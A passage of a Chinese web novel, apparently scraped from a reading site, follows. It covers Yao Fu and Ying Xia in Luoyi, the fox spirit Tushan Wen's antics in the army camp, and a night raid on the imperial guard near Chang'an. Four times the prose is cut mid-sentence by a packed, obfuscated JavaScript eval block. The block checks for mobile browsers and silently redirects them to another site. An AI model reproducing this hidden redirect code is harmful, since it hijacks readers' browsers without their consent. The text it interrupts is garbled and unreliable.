浩渺的白雪、俏立的寒梅,和粼粼的洛河,都是雒邑冬日的盛景。 “洛河还是要初春看才好。”姚复有些遗憾地看着水面上的冰层,拉着应瑕走远了一点。 冰层撑不住两个人的重量,姚复又总忍不住下脚去踩。 应瑕低头看了看洛河上的冰层,又抬头看了看对岸如血的一片梅花。 也只有郊外才有雪映红梅之景了。雒邑城中也有梅花,宽敞明亮的大街上却有专人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538842|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫干净了雪,再无了赏梅的自然之趣。 姚复顺着她的目光看过去,忽然喊了不远处的天梁:“决明子,能渡河折一枝梅花来吗?” 天梁闻言收起反复踢着地上冻土的脚,走到河边,遥遥望了一眼梅花,随后点了点头,足尖轻点,须臾之间便踏冰到了对岸去折梅了。 回来的却是两个人,天梁和太白一人抱着二三枝梅花——太白向来神出鬼没,怕是本来就在对岸看梅花了。他们抱着那些梅枝,武人不解风雅,许多花瓣都已经残了,只好以量求质,让应瑕在其中挑一枝最中意的。 应瑕漫不经心地拿起一枝梅花,恰是破损最严重的,几乎只剩了残花断蕊。她把那花枝举起来看了看,又丢掉,伸手抚上决明子手中另一枝花,并未拿起来,只笑了笑,说:“都说‘朔风如解意,容易莫摧残’,可这花若不折来,还是要在枝头衰败——何必惜花怜玉呢?” 姚复从太白手里拿过一枝开的最好的,拿在手里又有些懊恼,他并不想抱着花枝附庸风雅佯作清高——他本来就不清高,可冻的僵直的含雪花朵又只能整朵拿下来,即便是择下来也无用。本只是觉得应瑕喜欢梅花便让人折枝来,现下倒不知道如何安置了。 “罢了,扔了吧。”姚复叹了口气,想起应瑕说的那句“何必惜花怜玉”,只好让天梁和太白扔了剩下的残花。想讨应瑕欢心,没成想竟是弄巧成拙了。 应瑕接过姚复手里尚拿着的那支细伶伶的花枝,微笑着抚摸着花朵,叹了一声:“这花真是不错。” 她今日出门涂了胭脂,如血的唇瓣与如血的花朵相映成趣。姚复不明白应瑕什么意思,或许她真的只是一时兴起—— 姚复也微微笑了:“你要喜欢就留着好了。” 应瑕却收起笑容,蹙起眉头,似乎想说什么,最终还是没说话,眉头也很快舒展开来,脸上又浮现了淡笑。她只默默将花枝抱在怀里。 梅花看罢,就该赏雪了。 雪有江雪、湖雪、山雪,雒邑出名的还该是山雪。 应瑕穿的斗篷是用白狐的绒毛制作的——涂山妏对这只斗篷极度不满却又无计可施——又让阖闾城来的绣娘刺了大片红梅,站在漫山遍野的皑皑白雪中,浑然如一体。 “你说我回去要不学作画吧。”姚复摩挲着下巴,问了站在一块山石上够松枝的应瑕。 应瑕拽下一把松针,扑簌簌落下一片松雪,闻言回头问道:“你别整这些有的没的,要不了多久就要出征打仗,你还打算推到什么时候?” “你这么漂亮,画不下来多亏啊。” 应瑕手里抓着那一把松针,从石头上跳下来,脚下一滑,摔了个趔趄,被天梁扶了一把才站稳:“等你当了皇帝,什么画师请不来。” 她把松针递给天梁:“照着这个标准,和太……九里香采一斤松针来。” 天梁把松针在手里不轻不重地揉搓了一遍,又递给太白看了看,太白把松针还给应瑕时,上头的冰雪已经化了,滴滴答答的雪水顺着指缝往下流,应瑕再次露出嫌弃的表情。 姚复上前一步,接过那把松针,用自己的袍子给应瑕擦干了手指——奇怪的是她修长有力如同玉箸的手指仍是温润光滑,除了指尖微微泛红,竟没有一点正常人受寒的表现。难道是因为这具身体已经死了的原因? “我大约没那个做皇帝的命。”姚复垂头细细擦着应瑕的手指,“现在能做到这个地步……我也没想到。” 应瑕也垂头看着自己的手指,没说话。 49. 第49章 开春了也不能立刻行军,姚复干脆和应瑕在雒邑定了客栈准备常住。 横竖雒邑美的不止是景。街头巷尾的摊贩,散入春风的笛声,飘香十里的酒楼……雒邑承袭了千年的历史,满含着的人间烟火才是暂别沙场的将士可望不可即的东西。何况姚复已经好几年没见过繁华热闹的元夕了。 假死的君王准备待在雒邑过节,朝歌军营里的将士也打算好好放松一下。 如果亓官卿和涂山妏没有在军营里吵起来,这会是个好年。 亓官卿早就想了办法从太行山的夜雪里脱了身,一路跑到金陵才停下来——他早就做好了涂山妏被兄长虐杀的准备,经历过的事,他也没有能力去改变,因而接到去接涂山妏的消息时他根本没做什么准备,匆匆赶了好几日才躲过了关口的盘查到了汉昌。 结果姚复早就绑着涂山妏走了,陈重熙也给不出来什么信息,他只好又去了长沙找姚老头,没拿到信息,又忙忙慌慌地到了启封找司空谷,方才在年前到了朝歌,准备把退化成小孩脾气的涂山妏接走。 但她既然成了稚子心性,狐狸又最是记仇,心里满是愤懑怨怼,当然不肯跟着亓官卿回金陵。 这对母子就这样在营里吵了好几日,涂山妏是姚复带回来的,解臻本就不好说什么,现在她儿子也来了,军营里除了平白添张嘴,还要忍着这两人的吵架声。又不能把他们全都赶出去,回头姚复再降罪怎么办。姚复甚至没告诉他这两人什么身份。 解臻让斥候给姚复发了几封军书,没一封得到回复的。 无奈之下只能忍着那对母子。 “白将军今日可有送信来?”解臻收起解斛珠写的家书,摁了摁眉心,问尚保持着通报姿势的斥候。 “回解将军——白将军未曾送来信件!”斥候掷地有声地回答。 一般的驿夫进不了军营,从外头送来的信件由斥候营统一处理,确实未曾听过白将军送来了信件。 外面的争吵声再次响起,解臻重重叹了口气,说道:“派人打探魏国军队动向。你先下去吧。” “是!” 斥候领了命,快速起身小跑离开了,解臻也站起身来,掀开营帐,看向雪地里争吵的母子二人。 “母亲,我跟你说过多少次了不要只穿着里衣在雪地上打滚!脏死了!!!”亓官卿愤愤指着坐在地上闹娇的涂山妏。 涂山妏法力恢复了一部分,虽不及从前千分之一,好歹能维持人形,不至于在解臻面前露馅,不过若是能露出耳朵,那定然也是委屈的塌着——她确实只穿了里衣,坐在地上,叉着腰回骂:“那怎么了!不在雪里打滚的狐生有什么意义!老祖宗不是这么过来的吗?!” “你少跟我闹娇!我是你儿子,不是你老子!”亓官卿生气的去拉涂山妏,从前在宫里时他们母慈子孝,涂山妏脾气好的没话说,亓官卿也是谦顺有礼,可现在涂山妏脑子跟坏掉了差不多,好好说话是如何也讲不通的。 涂山妏千年的狐狸,略施小计便能让亓官卿一个只活了二十多年的普通人无计可施,无论他再怎么用力也拉不起来。亓官卿用蛮力拉了她一会儿,心下便了然了,松开了手,想要寻个破解的法子。可这在军营里,来来往往的兵士不少。而且他现在这个年纪也不适合用法术,被涂山妏看出来再闹到底就遭殃了。 解臻见到两人在那儿闹腾,只好往前走了两步去劝慰:“二位不要吵了。夫人,先起来罢,外面冰天雪地的,先添件衣服再说。” 涂山妏见有个长相清秀的将军过来,神情稍稍放缓,但还是不领情:“哼!我不去!你们只配备了狐裘!” 解臻为难地看向亓官卿:“那劳烦公子出去为夫人买兔绒的?” “我也不穿兔裘!闻着就饿!”涂山妏猛的一拍地上冻的梆硬的泥土,又回绝了解臻的提议。 “解将军不必管她,冻不死的,只是这在雪泥中坐着,实在脏污——”亓官卿皱着眉头看着自己的母亲,口中却提示解臻,希望他能帮忙解决涂山妏回归本性玩泥巴的问题。 解臻更为难了,指了指涂山妏:“这……我们营中并不缺热水,公子回头带着她好好洗洗便是。” “白将军和夫人现在在哪?”亓官卿看着自己的母亲,无奈地深呼吸了几次,最终岔开话题问解臻。 他跟涂山妏耗的太久,不赶紧联系上姚复和应瑕,实在不知道如何劝涂山妏跟着回金陵。 解臻有些疑惑,这位公子不像是和姚复认识的样子——也许是他的什么旧交,只好如实回答:“将军现在还在雒邑同夫人游玩,要到行军入秦才回来。” “公子与白将军有旧交?” 解臻又好奇地问道。 亓官卿微微蹙眉,须弥芥子作法时他是见过解臻的,按理说解臻也应该对他有印象,可这过了几年,竟一点不记得他了? 不过也能理解,谁也不能完全记住几年前只有过一面之缘的陌生人。现世里涂山妏死后根本没这一出戏,他早早从金陵回了涂山,根本没有跟解臻站在这儿说话的机会。 “从前有些交情。我从前惹了仇家,是白将军一家好心接济才救了我一条命。”亓官卿微微笑起来,一双狐狸眼流着情愫看向解臻,想试试他的水。这时候他倒发挥了从涂山妏那里继承来的两分天然的魅惑。 解臻颔首不语。 亓官卿正待趁着涂山妏不备把她拉起来,低下头准备去捞母亲的衣领,却见涂山妏竟趁着方才他和解臻谈话的间隙,徒手掘开了土层,露出了底下的一个小洞口,正欲伸手进去—— “你在干什么啊?!”亓官卿吓了一跳,尖叫一声后便眼疾手快拽住了涂山妏的胳膊,把她硬是拉了起来。 解臻闻声去看,那小小的洞口探出一只老鼠脑袋,他顿时感到头皮一炸,连忙踢了一脚旁边混着雪水的泥土,把那小小的洞口又盖住了。 涂山妏用看傻子的眼神看了亓官卿一眼:“觅食呀。” 亓官卿感觉自己前前后后加起来活了快五十年的面子要丢尽了,无奈地扶额说道:“我算是明白你为什么在这里玩儿土了。” “解将军见笑,我母亲脑子有问题,我马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14549211|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上带她走。”亓官卿转过头来,手上暗暗加重了力道,拖着涂山妏往回走,一边扭头勉强向解臻赔笑。 涂山妏是野狐狸,在涂山时吃老鼠也就算了,进了宫得了宠不短吃穿也爱捉老鼠吃——还避着先帝,有时候还会试图喂给亓官卿。亓官卿从小娇生惯养的,根本受不了老鼠肉,更受不了涂山妏优雅地把老鼠摆盘吃掉,现在更受不了她挖洞把老鼠拖出来吃掉。 “真是的,没短你吃也没短你穿的,没事吃什么老鼠,又脏又臭的……”亓官卿挡住解臻的视线,见前面没人,便顺手把涂山妏变回了娇小的原形拎着离开,口中还小声抱怨着。涂山妏则无奈地小声地嘤嘤叫着抗议。 到底是千年的狐妖,亓官卿根本压不住她,先前试过强行用法术把她带走,可涂山妏变小了也是个小滑头,根本困不住,好好讲道理又不听,不能打也不能骂,亓官卿只能跟她干耗着。 这一回营帐涂山妏就又立马变回了人形,坐在地上就又开始闹:“老鼠怎么了!谁不是吃老鼠长大的!你这种家养的狐狸就是娇气,我跟你一样大的时候哪里吃过鸡肉这种好东西!” “你那时候的鸡能和现在的鸡比吗。”亓官卿“唰”一下放下营帐外面的帘子,又合上门窗,“母亲,你控制一下好不好,别再做那些让人怀疑你是狐狸的事了——” 涂山妏有些颓然地舔舔手指——方才掏到了老鼠,只是没抓到,手指上还沾着一些气味。她放松地露出耳朵,两只耳朵垂在头顶,委屈地说道:“我也不想啊,我根本就控制不住嘛……我闻到老鼠的味道就出来了呀。” 好像真受了天大的委屈,一双妖媚的狐狸眼尾部染上红晕,泫然欲泣,端的是楚楚可怜。亓官卿忽然理解了为什么先皇为什么会对她言听计从。 “你打算什么时候跟我回金陵?”亓官卿盯着自己的母亲,问道。 一说回金陵,涂山妏显然更委屈了:“我不回去……我要手刃亓官德璞,我要报仇……” 亓官卿蹲下身子,逼着自己冷静下来,蹲下身子,柔声对涂山妏说:“你现在报不了仇,况且我们插手人间事本来就是违背规矩,你再杀人……回去是要受罚的。齐王和夫人会替你报仇,你跟我回金陵等着就好。” 涂山妏脾气又上来了,抱着胸扭过头:“我才不怕受罚,要不是为了你,我早就跳进皇陵随先帝去了!再者,姚子季一个凡人,指望的上吗!” “你现在跟凡人也没有区别!”亓官卿有些恼火,不自觉地抬高声调,复而又放缓了音量,“总之,我们回涂山吧,回狐狸该待的地方。” 涂山妏正要开口拒绝,忽然想到了什么,竟转过了头,嘻嘻一笑:“那……好呀。不过我要等齐王回营再走,我还要和小珠儿道别呢。” 亓官卿松了口气。先前不是没这样劝过,只是都被涂山妏哭闹着打断然后不了了之了,然后非要发火才能镇住她,这次能让她松口也算意外之喜。 只是……千年的狐狸,鬼点子多得很,也不知道涂山妏到时候会不会整出来什么幺蛾子,还是得多存个心眼。 50. 第50章 姚复和应瑕在雒邑打打闹闹玩了两个月,反正姚复一玩起来就忘了情,待在雒邑玩的昏天黑地,要不是应瑕在旁边陪着,怕是连自己姓甚名谁都能忘干净。 本来说开春就回朝歌,结果从元夕拖到元宵,又从元宵拖到龙抬头,又从龙抬头拖到上巳节。回到朝歌时三月花都要开尽了,姚复是不急,亓官卿天天盯着自己生母,急的如同芒刺在背,几乎是坐立难安。 桃花这种东西,哪个城市都会有,朝歌也不例外。 姚复从马背上下来,牵着马从层层叠叠的花瓣上走过去,缓缓挪到军营门口。 满地的桃花确实与肃杀的军营并不相称,偏偏秾艳的桃李就是能为冰冷的铁甲添上两分柔情。 “桃之夭夭,灼灼其华。之子于归,宜其室家。”姚复抬起脸来,看向马背上的应瑕,吟诵出《诗经》中被千年传唱的诗词。 应瑕微微俯身,拂落了姚复发冠上的一瓣桃花:“没空跟你在这儿柔情蜜意,赶紧回去,然后带兵到秦州去。你还想不想活过来了,总不能顶着白附子这个假名字一辈子。” 姚复有些不满地撇撇嘴,他专门卡着满地落花的时间,支走了天梁和太白两盏不省油的灯,就想着和应瑕一起走在这飞花路上,好培养一下感情。谁知应瑕比新涂还不解风情,满心满眼竟只有打仗! “知道了——” 等来年就在长安的大道上再走马观落花,届时管他要打什么仗,全都往后推。他一定要在那天子脚下扬眉吐气——你们从前要砍头的罪犯,已经堂而皇之地成了皇宫的新主。 解臻练兵极是严苛,营里到处都是落花,似乎没有被打扫过。 也无怪乎此,兵士们一天要练够七个时辰,中途歇息的时间不到一刻钟,吃饭睡觉加起来也才四个时辰,一旬才休息一日。哪里有闲工夫去洒扫这些落花。 或许是他走的真的太久了,回来时守门的士兵都不记得他了—— 还是亏了应瑕那张极具辨识力的脸,卫士才勉强想起他来,把他们放了进去。 “唉,咱们是直接点兵入秦,还是解决掉魏国那小子再入秦?”回到主帐里,姚复脱掉外袍抖抖花瓣,笑着问应瑕。 应瑕把头上的发髻全然拆开了,拍掉了卡在发髻里的花瓣,方才甩甩头发,说道:“先入秦,我近日里想吃东西了。” 好像有些深层的含义。姚复不得不装作无事的样子——“天大旱,人相食”一类的事并不算违背天理伦常,无非是活下去的手段。可姚复是在衣食无忧的条件下长大的,算不上千娇百宠,却也从不缺衣短食,启封也算是春风十里烟花地,断没有易子而食的事情。故而姚复总是见不得食人的。 长安……有很多人,也有很多贪官佞臣,也许够应瑕饱餐一顿。 “你悠着点,别吃坏了身子。”姚复斟酌着开口,心里却想着攻进长安后要不要一把火烧掉,或是让司空谷拿了账本核对,把奸臣全都先斩了,从源头上遏制应瑕的食欲。 好长时间没见应瑕食欲大开了——她重口腹之欲,走到一个地方一定要吃特色菜,却总是只吃一两口。难不成她前生不是人,是只饕餮? 应瑕幽幽叹了口气,把簪子放在小案上,自己也坐了下去,有些怨愤地说:“好久没这么饿过了……” “哟,”姚复拆下来身上的软甲,搭在架子上,回头挑眉问道,“用不用让灶房起灶给你专门做一桌子菜?” “算了……” 应瑕翻开走时姚复留在桌子上的书——里面竟是密密麻麻的小洞,还有几页被咬掉了一半,她连忙站起身子,把书丢回案上,几乎是失声说:“把这桌子丢出去扔了!不不,烧掉,烧掉!” 姚复有些纳闷地走到桌子前头,应瑕平日很喜欢这张桌案,任何桌案——他扒开上头厚厚一层灰尘,看见了几个明显的虫洞,心里升起一种不妙的预感,连忙去掀地上铺着的毯子,应瑕已经翻开了床上的蚕丝被子,又跑去看了衣架子—— 两人里里外外把营帐里的东西翻了一遍,所有木质的、丝绸的、棉布、纸质的东西,都没逃过虫灾。 走时忘记熄火盆了,主帐又涂了厚厚一层油,保暖的性能极佳,隔了十几日天气又回了暖,给了虫子们可乘之机。 “樟脑呢?樟脑放哪了?”应瑕拎着裙子,往盔甲旁边靠了靠。她不喜欢熏香,故而没有备用的香囊放在屋里,但是出行时放樟脑这事她还是明白的。可记得当时是姚复放的樟脑丸。 总不能樟脑都被那些虫子咬坏了! 姚复走到放衣服的箱子前,一股脑把衣服都倒出来,并没见到樟脑。他以为樟脑被埋在衣服下面,便伸手扒了起来。 应瑕也走了过去,用手指拎起一件衣服,看了两眼准备丢掉时,发现了上头一块干涸的白色痕迹。 她蹙起眉头,伸手触了触,又闻了闻,发现那块痕迹透着一丝甜蜜的奶香味,像是某种融化的糖。 她单手拎着那衣服,指着那块糖问姚复:“你是不是把奶糖当成樟脑放进箱子里了?!” 姚复不可置信地扭头瞪大了眼睛,随后尴尬地涨红了脸,支支吾吾说不出话来。 樟脑与糖确实是同一夜拿回来的,他习惯于在出行之前将樟脑摆好——他说解臻送的东西既是糖又怎么会有那么奇怪的味道! “行了行了,起火把这些东西都烧了吧。”应瑕无奈地揉揉眉心,“真是奇了,冬日里老鼠在地下也会吃虫子吧,怎么还有虫蛀。” 姚复拿火钳拨了拨火盆里的灰,将桌上那些稀薄的书本丢进火盆,又摸了火折子——还好火折子还是好的。 他拖着火盆出了门,和应瑕把带着虫子虫卵的物件一件件拉了出去烧掉。 “重新置办得花多少银子啊。”姚复坐在火盆前,深深叹口气,怅惘地自言自语。 没等应瑕回应,亓官卿便先闻讯赶到了,他和涂山妏大约是整个军营里最有时间的。 亓官卿拉着胖了一圈的涂山妏,远远见到两人坐在门口烧火,顿时有些奇怪,不由加快脚步上前询问:“大王,这都要入夏了还烧火啊?” “帐里的东西被虫蛀了——”姚复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566241|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬起头,无奈地回答,“你们还没回金陵?” “我母亲一定要和夫人告别呢。”亓官卿挤出一个并不好看的微笑,“斗胆一问,你们打算什么时候入秦?” 姚复没回答,只从地上够了根树枝拨土画圈。应瑕却忽然上前一步,死死拽着涂山氏,捏了捏她明显胖了一圈的脸:“冬日里老鼠也会吃虫子,你说我们帐里怎么会——有——虫——子——” 涂山氏被掐疼了,两眼泪汪汪的,却又因为心虚不敢说什么,只能看着应瑕卖惨装可怜。 “最迟这几日就能出兵了。”姚复略微思忖了一下,“兵马未动粮草先行,这回的随军军师是司空谷,他还在启封呢。” “告别完没有?”姚复抬起脸,把手里方才捡的树枝丢进了火盆子,不耐烦地看向涂山妏。 本来就对涂山妏有意见,现在她又跟着应瑕拉拉扯扯,自然更没什么好脸色。 “哎呀她小孩子气,你让让她嘛。”亓官卿狐狸一样笑起来,“又不是个男人,你急什么。” 姚复撇撇嘴,得亏是他不打女人,但凡拉着应瑕不放的是个男人,现在就应该被捅了个对穿躺在地上了。 “五年前你叫我让让你,现在让我让让你娘,怎么,以后是不是还要我让人你儿子啊?”姚复阴阳怪气地回答道。 亓官卿讪讪一笑,拉着涂山妏欲走:“劳烦大王给我们备车马了,我们明日就走。” 涂山妏委屈地扒着儿子的手,心里不知存了什么坏主意,竟是没开始闹。 东西烧的差不多了,姚复拍拍身上的灰站起身子来,问应瑕:“粮草什么时候能到?” “明天吧。”应瑕随口回答,“主帐是不能住了,拔营之前你住我帐里吧。” 塞翁失马,焉知非福。意外之喜这不就找上门来了。姚复喜上心头,面上却没什么表情,只有瞳孔微微放大了,晃动着兴奋的光,嘴上只说:“那,那行吧。反正也没几天了,到了长安再采买东西。” 应瑕忽然罕见的起了玩心,她往前凑了一点,几乎和姚复胸口贴着胸口,姚复感到四肢百骸都不听使唤了,就像是应瑕的香粉里掺了什么迷魂药,扑鼻的香气几乎让他动弹不得。应瑕和他身量又差不了多少,桃花一样的薄唇近在眼前,那双眼里也抛去了不屑与嘲讽,换上了戏谑。 “真是嘴硬啊。”应瑕勾唇一笑,又凑近了一点,姚复下意识把脸往后撤了一点,却听见她在耳边说,“要不要和我同床共枕啊?” 温热的气息喷洒在耳垂上,姚复瞬间感觉头皮都要炸开了,登时四肢恢复了力气,手忙脚乱地扳着应瑕的肩把她推远了一点,也语无伦次地回应:“算了吧,我觉得不太好,男女授受不亲……” 应瑕低低笑起来,转身离开了。 姚复登时更尴尬了,方才想起来他们已经成婚五年了,算得上世俗意义上的老夫老妻,一般人在他这个年龄都该儿女绕膝了—— 他决定在外面吹一会儿风,好让发烫的脸颊冷下来。 好在应瑕不是会到处宣扬别人丑事的人。 51. 第51章 运送粮草的辎重车很快就到了,进攻秦州事关重大,绝不能有一丝一毫的差池,因此这一批粮草姚复必须亲自检验一遍才放心。 “这一车粮草重量几何?” 姚复正在看的一辆车是专门载豆菽的,他伸手拨了拨浑圆饱满的豆粒,确保其中没有带病的或是被虫子蛀过的。 司空谷站在他背后,手里哗啦啦翻着账本,说道:“一辆车最多载十石物资,米豆重量有所不同,您看这辆应该是有八石。” 姚复点点头,转向另一辆载着稻米的车子。 眼下刚刚开春,许多作物都还在地里,这些粮草大多是从前积压在粮仓里的,甫一放出来,难免生虫或是长霉斑。送来前应当核查过一遍了,难保路上不会重新生出来。 交趾倒是物产丰饶,一年四季都有粮草长,只是韩玉笙每个季度都要去挖珠子,耽搁了不少功夫,迟迟打不下交趾来。 司空谷跟在他后面,挨个叙述每辆车粮草的质量、重量、够几人几日食用,全然没人察觉到有只白毛断尾的狐狸偷偷爬进了给军马运送草料的辎重车,很快就隐没在干草里消失不见了。 另一边,亓官卿则抱着变回原形卧着打盹的涂山妏登上了回金陵的马车。 新涂带兵在赣州牵制着屈郢的军队,桥虹在北边挑拨了魏王和燕王的关系,两国正打的不可开交,禁军则被紧急调了回去围守长安,匈奴人也打算趁乱分一杯羹,正在天水一带频频骚扰官兵。这样一来,上洛、雒邑两地就出现了极为安全的真空范围,正是入主关中的突破口。 趁着北边四个势力打的乌烟瘴气,姚复悍然为自己正了名,拔了营从雒邑西进,一路杀进了上洛。 其实也不是杀进去,齐王的名声确实好用的多,还没进上洛就传来了投降的消息。 姚复打算乘胜追击,直接朝着长安进军,可惜根据斥候传回来的消息——长安被围的密如铁桶固若金汤,从外面攻破必然是不可行的,何况姚复只带了两万人,跟人家十万禁军没法比。 “嘶……”姚复坐在案前,略微为难地抽了一口气,随后说道,“让解将军调兵支援,手头这两万人……不管了,先带一半试试水。” 解臻手里三万人,解斛珠手里五万人,三方加起来才勉强和禁军人数相当,如果这些人都给调过来——那定州空虚,根本无力应对北边接壤的魏王。 他麾下三百万人,新涂负责对抗屈郢,带的人最多,其次就是在滇南开疆拓土的韩玉笙。定州以守军为上,因而解臻和解斛珠带的人都不多。 当下的计策,也就只有先带人试试水——如果禁军水平不怎么样,姚复就带着两万人争个鱼死网破,手刃皇帝入主长安,如果禁军水平很高,那就退回上洛等援军。横竖早给韩玉笙送了信,让他领三十万人从巴州入秦。 一万人打十万人确是自不量力,于是姚复决定夜袭敌营。 箭矢出弦的锐鸣声响彻云霄,火光照亮夜空,禁军统领习惯于保持高度警惕,一听见异响就马上坐了起来,握着长剑,掀开帘幔去看情况。 冲天的火光映在瞳孔里,在画上见过的齐王骑着战马立在不远处的山丘上,兵士们已经缠斗在了一起。 “敌袭!”统领猛然举起手中的枪,喊醒了未听到声响、仍在睡梦中的士兵。 姚复的军队明显不站什么优势,君王只是站在山丘上旁观着战局,估计敌方的实力。 夜雨猝然落下,浇灭了火光,齐军好像得了指令,趁着漆黑的夜色急急撤退——月光被死死遮掩着,天地陷入一片猝然的黑暗禁军几乎看不清敌方的撤退路线。 司空谷早算出来今夜有雨,姚复便先放火烧了禁军扎在山脚下的一部分营帐,火光才蔓延到了山上,好让他看清战况,趁着乌云覆月再撤开,能最大限度减少损失。 应瑕准备了毯子,按着姚复擦干了头发,出言问道:“损失几何?” 姚复挣扎着抢过毯子自己擦,有些怅惘地看着跃动的烛光,半晌才说:“……死伤过半。敌军损失几何不知。这样下去,得等一两个月才能进长安。” “又不急。既然打下上洛,不如见好就收,回兵雒邑——”应瑕点燃另一支蜡烛摆在桌上,顿了一顿,“待在上洛不太安全,若是魏王北下、官兵东进,我们就会被堵在这里。” 姚复放下毯子,盖在腿上,不以为意地笑着回答:“害,你怕什么。东边就挨着雒邑呢,虽说出关的函口狭窄,咱们不至于出不去。” “如果能快一点……或许还能见到长安的最后一枝牡丹。”姚复目光游移,定格在应瑕脸上,又一脸认真地说,“你不是饿了,这个时候回到雒邑,受得了?” 应瑕翻了个白眼:“我又不是饕餮,也不是孔雀,饿不死。” 姚复有些尴尬地摸摸鼻子,心中忽然萌生了一个大胆的想法——十万人够不够应瑕填饱肚子? 情不自禁地偷偷看了应瑕两眼,后者却仍在专心致志地翻着兵书—— 这种问题也不好问她,太冒昧了。 次日斥候传来消息,禁军折损了三万人,其中有两万是正儿八经战死的,剩下的一万则是在姚复撤走之后因为摸黑看不清自相残杀加上踩踏死的。 这少说也得五万人才能对敌。 “按兵不动。”姚复蹲在地上,摩挲着下巴,拿树枝继续捅着地上的蚂蚁洞。 自从上次帐里的东西几乎被虫子啃完后,姚复对一切虫子都不太友好,路上看到菜花上停着的黄蝴蝶都不顺眼。 禁军折损严重,皇帝干脆在城内征了兵,几乎所有壮年男子都编进了军队守城——换做从前,根本轮不到长安人充兵的。这下禁军规模从十万变成了五十万,甚至分拨了一部分到天水去抵御匈奴了。 姚复在上洛等了半个月,迟迟不见援兵,连斥候的消息都没有一句,终究是坐不住了,准备亲自回兵雒邑看看情况去。 恰在这个关头,魏王挥师南下,分了三支军队,牵制住了解臻和解斛珠的军队,堵住了雒邑与上洛之间的函口,西边的官兵也突然呈现包夹之势,将上洛主城层层包围起来。 这下真被堵在关中了。 城中粮草不多,只够大家再吃七日,姚复万万做不出来征集全城百姓参军一鼓作气打通函口退回雒邑的事,一向不听指挥的韩玉笙得了消息,终于知道了情急,带着军队从鄂州借道往定州支援去了——最少十五日。 而且得了这一条信息后,整个上洛便被彻底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14578452|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围了起来,外面的苍蝇飞不进来,里面的蚊子飞不出去,姚复彻底与外界失去了联系。 上洛曾经是商君的封地,商君留下来的一些守城之策藏在一处老屋的墙皮里,围困在上洛的第三日被人挖了出来交给了齐王。 有了这些东西,再加上先前祂给的兵书,姚复有自信在上洛跟外面的军队耗到地老天荒。可是粮草不足啊,饿一日尚能忍受,三日也能以水果腹,可是十日就该人相食了! “你觉得有仙术吗?”姚复推开木门,站在门口处,认真的询问正要出去的应瑕。 应瑕正想跟他要兵权,好带兵解围,听到这话微微愣怔一下,随后说道:“应当是有的罢。” 姚复重重一点头:“行。我去想办法。” 随后他重重关上门,又出去了。 司空谷会解卦占卜,从前还觉得他是神棍,可在这种情况下,死马也能当活马医,说不准他真会什么仙术呢。 姚复一把掀开军师的营帐,毫不拘泥地坐在正在为了账本愁眉苦脸的司空谷,一本正经地问:“你会解卦是吧。” 司空谷从地上抓起龟壳,随便摇了两下,落出两枚铜钱,随后看向姚复:“你还是老实在城里等着吧,出师不利,怎么看都是死局。” 然后他又垂着头开始算账了。 在他眼里,姚复过来问他解卦,无非就是占卜出师吉凶。此人从来不信什么神神鬼鬼的,也不信个人命运,也就打仗时不确定来看看,要么就是问明天天气怎么样适不适合出去玩。 姚复要的显然不是这个结果,他情绪有些激动地按着司空谷的肩膀,逼迫他抬起头来,问道:“那你会不会什么仙术一类的,比方说列子御风而行,或者是能把人送到千里之外的?” 司空谷费力的掰开姚复的手,用一种看疯子的眼神看了看姚复:“大王,这种事本就违背天理伦常,会仙术也不能会轻易插手人间之事。” “这么说你会了?”姚复有些欣喜地追问。 “会又如何,没法帮您打仗。”司空谷不动声色地往后坐了一点,离姚复远了一些。 姚复有些紧张地咽了口口水:“我听说……有种术法能撒豆成兵。我看营里剩下的豆子还有不少……” 司空谷那张一向死气沉沉的脸上露出了鄙视的表情,旋即又收了起来:“有是有,没办法帮您打仗。” 姚复从怀里拿出一个灰不溜秋的荷包,狠狠摔在桌上,脸色也狰狞起来,他狠狠一拍桌子,厉声喊:“少废话!” 年轻的军师眉心一跳,自知躲不过这一劫。况且齐王看起来精神不怎么样,八成是快疯了,还不如直接打碎他不切实际的幻想。 